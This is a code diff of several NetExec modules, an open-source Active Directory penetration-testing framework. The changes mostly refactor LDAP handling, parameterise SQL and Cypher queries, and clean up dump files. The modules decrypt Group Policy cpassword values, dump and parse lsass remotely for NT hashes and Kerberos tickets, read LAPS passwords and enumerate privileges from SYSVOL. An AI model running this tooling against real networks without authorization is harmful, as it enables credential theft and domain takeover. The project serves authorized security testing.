|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import re
|
||||
from io import BytesIO
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -98,24 +99,25 @@ class NXCModule:
|
||||
self.no_ldap = module_options.get("NO_LDAP", False)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
try:
|
||||
connection.conn.listPath("SYSVOL", "*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list shares: {e}")
|
||||
self.context.log.fail(f"Failed to list shares: {e}")
|
||||
return
|
||||
|
||||
context.log.display("Searching for GptTmpl.inf files")
|
||||
self.context.log.display("Searching for GptTmpl.inf files")
|
||||
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
|
||||
|
||||
if not paths:
|
||||
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
return
|
||||
|
||||
for path in paths:
|
||||
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
|
||||
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
else:
|
||||
context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
self.context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
@@ -123,22 +125,32 @@ class NXCModule:
|
||||
try:
|
||||
content = buf.getvalue().decode("utf-16le")
|
||||
except UnicodeDecodeError as e:
|
||||
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
continue
|
||||
|
||||
privileges = self.extract_privileges(content)
|
||||
if privileges:
|
||||
ldap_connection = None
|
||||
base_dn = None
|
||||
if not self.no_ldap:
|
||||
ldap_connection = self.initialize_ldap_connection(context, connection)
|
||||
ldap_connection = self.initialize_ldap_connection(connection)
|
||||
base_dn = self.get_basedn(ldap_connection)
|
||||
|
||||
context.log.success(f"Privileges extracted from {path}:")
|
||||
self.context.log.success(f"Privileges extracted from {path}:")
|
||||
for privilege, sids in privileges.items():
|
||||
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
|
||||
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
|
||||
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
|
||||
if ldap_connection:
|
||||
ldap_connection.unbind()
|
||||
ldap_connection.close()
|
||||
|
||||
def get_basedn(self, ldap_connection):
|
||||
root = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
attributes=["defaultNamingContext"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
return parse_result_attributes(root)[0]["defaultNamingContext"]
|
||||
|
||||
def extract_privileges(self, content):
|
||||
"""Parses the content of GptTmpl.inf to extract privilege rights."""
|
||||
@@ -159,101 +171,64 @@ class NXCModule:
|
||||
|
||||
return privileges
|
||||
|
||||
def initialize_ldap_connection(self, context, connection):
|
||||
def initialize_ldap_connection(self, connection):
|
||||
"""
|
||||
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
|
||||
"""
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
base_dn = None
|
||||
|
||||
ldap_connection = None
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.success("Connected to LDAP over SSL (LDAPS).")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
|
||||
if connection.kerberos:
|
||||
ldap_connection.kerberosLogin(
|
||||
connection.username,
|
||||
connection.password or "",
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey or "",
|
||||
kdcHost=connection.kdcHost,
|
||||
useCache=bool(connection.use_kcache),
|
||||
)
|
||||
else:
|
||||
ldap_connection.login(
|
||||
user=connection.username,
|
||||
password=connection.password or "",
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
)
|
||||
self.context.log.success("Connected to LDAP.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"LDAP connection failed: {e}")
|
||||
return None
|
||||
return ldap_connection
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldaps_error:
|
||||
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
|
||||
context.log.info("Falling back to plain LDAP...")
|
||||
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.info("Connected to LDAP successfully (plaintext).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldap_error:
|
||||
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
|
||||
|
||||
return None
|
||||
|
||||
def resolve_sid(self, context, sid, ldap_connection):
|
||||
def resolve_sid(self, sid, ldap_connection, base_dn):
|
||||
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
|
||||
if sid in self.WELL_KNOWN_SIDS:
|
||||
return self.WELL_KNOWN_SIDS[sid]
|
||||
|
||||
if ldap_connection and ldap_connection.bound:
|
||||
if ldap_connection:
|
||||
try:
|
||||
base_dn = getattr(ldap_connection, "base_dn", None)
|
||||
if not base_dn:
|
||||
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
|
||||
return sid
|
||||
|
||||
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
|
||||
ldap_connection.search(
|
||||
search_base=base_dn,
|
||||
search_filter=search_filter,
|
||||
resp = ldap_connection.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
|
||||
if ldap_connection.entries:
|
||||
entry = ldap_connection.entries[0]
|
||||
return f"{entry['sAMAccountName']}"
|
||||
parsed_result = parse_result_attributes(resp)
|
||||
if parsed_result and "sAMAccountName" in parsed_result[0]:
|
||||
return f"{parsed_result[0]['sAMAccountName']}"
|
||||
else:
|
||||
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
|
||||
except ldap_impacket.LDAPSearchError:
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
except ldap_impacket.LDAPFilterSyntaxError:
|
||||
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
|
||||
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
|
||||
else:
|
||||
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
|
||||
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
|
||||
|
||||
return sid
|
||||
@@ -126,20 +126,17 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
|
||||
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
|
||||
bytes_in = bytearray(h_in.read())
|
||||
|
||||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
|
||||
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
|
||||
try:
|
||||
|
||||
+30
-17
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
if result["password"] is not None:
|
||||
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
)
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
|
||||
context.log.fail(f"Hash for {username} is expired.")
|
||||
elif username not in found_users and nthash is not None:
|
||||
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
found_users.append(username)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = list(path_to_da.data())
|
||||
|
||||
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
)
|
||||
|
||||
|
||||
@@ -188,7 +188,7 @@ class NXCModule:
|
||||
)
|
||||
if session.smb_session is None:
|
||||
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
|
||||
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
|
||||
return False
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
@@ -198,9 +198,20 @@ class NXCModule:
|
||||
if file is None:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
credentials, tickets, masterkeys = Parser(host, file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
try:
|
||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if not ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
|
||||
@@ -236,7 +247,7 @@ class NXCModule:
|
||||
for user in compromised_users:
|
||||
for pc in admin_access:
|
||||
if user[0] in pc[1]:
|
||||
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
|
||||
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
|
||||
more_to_dump = cursor.fetchall()
|
||||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
@@ -246,8 +257,10 @@ class NXCModule:
|
||||
connection.nthash = user[1]
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
if self.run_lsassy(context, connection, cursor) is False:
|
||||
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
|
||||
continue
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
|
||||
|
||||
process_creds(
|
||||
context,
|
||||
|
||||
@@ -101,7 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Invalid token ID submitted")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error runing command: {e}")
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -22,12 +22,13 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
|
||||
None,
|
||||
IID_IObjectExporter,
|
||||
target_ip=connection.host,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_NONE,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
+4
-1
@@ -45,12 +45,15 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
if not data:
|
||||
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
@@ -40,7 +40,7 @@ class NXCModule:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value and output_value != "NULL":
|
||||
if output_value:
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
if output_lines:
|
||||
|
||||
+16
-15
@@ -67,7 +67,7 @@ class NXCModule:
|
||||
session.get_session(
|
||||
address=host,
|
||||
target_ip=host,
|
||||
port=445,
|
||||
port=connection.port,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
username=username,
|
||||
@@ -89,23 +89,24 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
parsed = Parser(host, file).parse()
|
||||
try:
|
||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
context.log.debug(f"File path: {file_path}")
|
||||
try:
|
||||
deleted_file = ImpacketFile.delete(session, file_path)
|
||||
if deleted_file:
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
|
||||
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
@@ -187,7 +188,7 @@ class NXCModule:
|
||||
context.log.fail(f"Error writing ticket {filename}: {e}")
|
||||
|
||||
if ticket_count > 0:
|
||||
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
|
||||
context.log.success(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
|
||||
else:
|
||||
context.log.display("No tickets were saved")
|
||||
|
||||
|
||||
+134
-7
@@ -1,10 +1,21 @@
|
||||
import re
|
||||
import ntpath
|
||||
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
|
||||
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSError, NetBIOSTimeout
|
||||
from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket import nt_errors
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Shutdown and Podalirius
|
||||
Module by Shutdown, Podalirius and serwiz
|
||||
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
|
||||
|
||||
Initial module:
|
||||
@@ -14,18 +25,16 @@ class NXCModule:
|
||||
Shutdown: @_nwodtuhs
|
||||
Podalirius: @podalirius_
|
||||
"""
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
|
||||
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
|
||||
@@ -34,3 +43,121 @@ class NXCModule:
|
||||
return
|
||||
|
||||
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
|
||||
|
||||
self.get_SeMachineAccountPrivilege(context, connection)
|
||||
|
||||
def get_SeMachineAccountPrivilege(self, context, connection):
|
||||
gpo_links = self.get_gpo_links(context, connection)
|
||||
if not gpo_links:
|
||||
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
|
||||
return
|
||||
context.log.debug(f"gPLink parsed: {gpo_links}")
|
||||
|
||||
try:
|
||||
smb = get_smb_connection(context, connection)
|
||||
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
|
||||
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
|
||||
return
|
||||
if not smb:
|
||||
return
|
||||
context.log.display("Getting SeMachineAccountPrivilege")
|
||||
|
||||
try:
|
||||
for link in gpo_links:
|
||||
guid = link["guid"]
|
||||
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
|
||||
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
|
||||
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
|
||||
|
||||
try:
|
||||
buf = BytesIO()
|
||||
smb.getFile("SYSVOL", path, buf.write)
|
||||
GptTmpl = buf.getvalue().decode("utf-16le")
|
||||
except SessionError as e:
|
||||
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
|
||||
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
|
||||
else:
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
|
||||
continue
|
||||
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
|
||||
context.log.fail(f"Unable to read {path}: {e}")
|
||||
continue
|
||||
|
||||
# An absent setting inherits; an explicitly empty assignment overrides.
|
||||
for line in GptTmpl.splitlines():
|
||||
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
|
||||
if match:
|
||||
value = match.group(1).strip()
|
||||
break
|
||||
else:
|
||||
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
|
||||
continue
|
||||
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
|
||||
context.log.info(f"\t{line.strip()}")
|
||||
if not value:
|
||||
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
|
||||
continue
|
||||
|
||||
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
|
||||
for principal in principals:
|
||||
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
|
||||
if not match:
|
||||
context.log.highlight(f'\t\t - "{principal}"')
|
||||
continue
|
||||
sid = match.group(1)
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
|
||||
continue
|
||||
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
|
||||
entries = parse_result_attributes(resp)
|
||||
if entries and entries[0].get("sAMAccountName"):
|
||||
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
|
||||
else:
|
||||
context.log.highlight(f"\t\t - {sid} (unresolved)")
|
||||
finally:
|
||||
smb.logoff()
|
||||
|
||||
def get_gpo_links(self, context, connection):
|
||||
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
|
||||
gpo_links = []
|
||||
block_inheritance = False
|
||||
|
||||
for scope_dn in (ou_dn, connection.baseDN):
|
||||
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
if not entries:
|
||||
context.log.fail(f"Unable to read GPO links for {scope_dn}")
|
||||
return []
|
||||
if scope_dn == ou_dn:
|
||||
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
|
||||
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
|
||||
if link["disabled"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
|
||||
continue
|
||||
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
|
||||
continue
|
||||
link["scope_dn"] = scope_dn
|
||||
# Enforced domain, enforced OU, normal OU, then normal domain links.
|
||||
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
|
||||
gpo_links.append(link)
|
||||
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
|
||||
|
||||
def resolve_gpo(self, connection, guid):
|
||||
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
|
||||
